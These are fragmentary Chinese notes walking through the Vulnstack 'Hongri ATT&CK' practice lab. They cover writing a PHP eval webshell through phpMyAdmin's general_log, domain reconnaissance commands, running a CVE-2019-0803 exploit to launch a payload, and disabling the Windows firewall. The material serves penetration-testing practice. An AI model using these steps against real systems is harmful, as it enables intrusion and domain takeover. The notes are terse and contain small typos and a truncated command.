红日ATT&CK实战系列（一）

靶机基本描述：红队实战系列，主要以真实企业环境为实例搭建一系列靶场，完全模拟ATT&CK攻击链路进行搭建                        靶机下载地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/                        虚拟机初始密码：hongrisec@2019

原文链接：https://blog.csdn.net/qq_44605964/article/details/128820950

192.168.131.129    

192.16.52.143

192.168.52.141    

192.168.52.138

攻击者：kali --192.168.131.129Web服务器：Win7 --192.168.131.129 --192.168.52.143域成员：Win2003 --192.168.52.141域控：Win server 2008 --192.168.52.138

http://192.168.131.129/phpinfo.php

http://192.168.131.129/phpmyadmin/

参考文章：           https://blog.csdn.net/weixin_51692662/article/details/126998945

SHOW VARIABLES LIKE '%SECURE%';

set GLOBAL general_log='on';

set GLOBAL general_log_file="C://phpstudy/WWW/shell.php"    

SELECT "<?php @eval($_POST[1]);?>

ipconfig            两张网卡分别是内外网

net config workstation            有三台主机，域为GOD，DNS为god.org    

net group "domain controllers" /domain

net group "domain admins" /domain

net view /domain:GOD        

shell hostname

shell net users

shell net localgroup administrators

shell systeminfo    

参考文章：           https://blog.csdn.net/Fly_hps/article/details/104236695

shell CVE-2019-0803.exe cmd "start artifact.exe"

shell taskllist

shell netsh firewall show state

shell netsh advfirewall set allprofile state off     

net view    

net dclist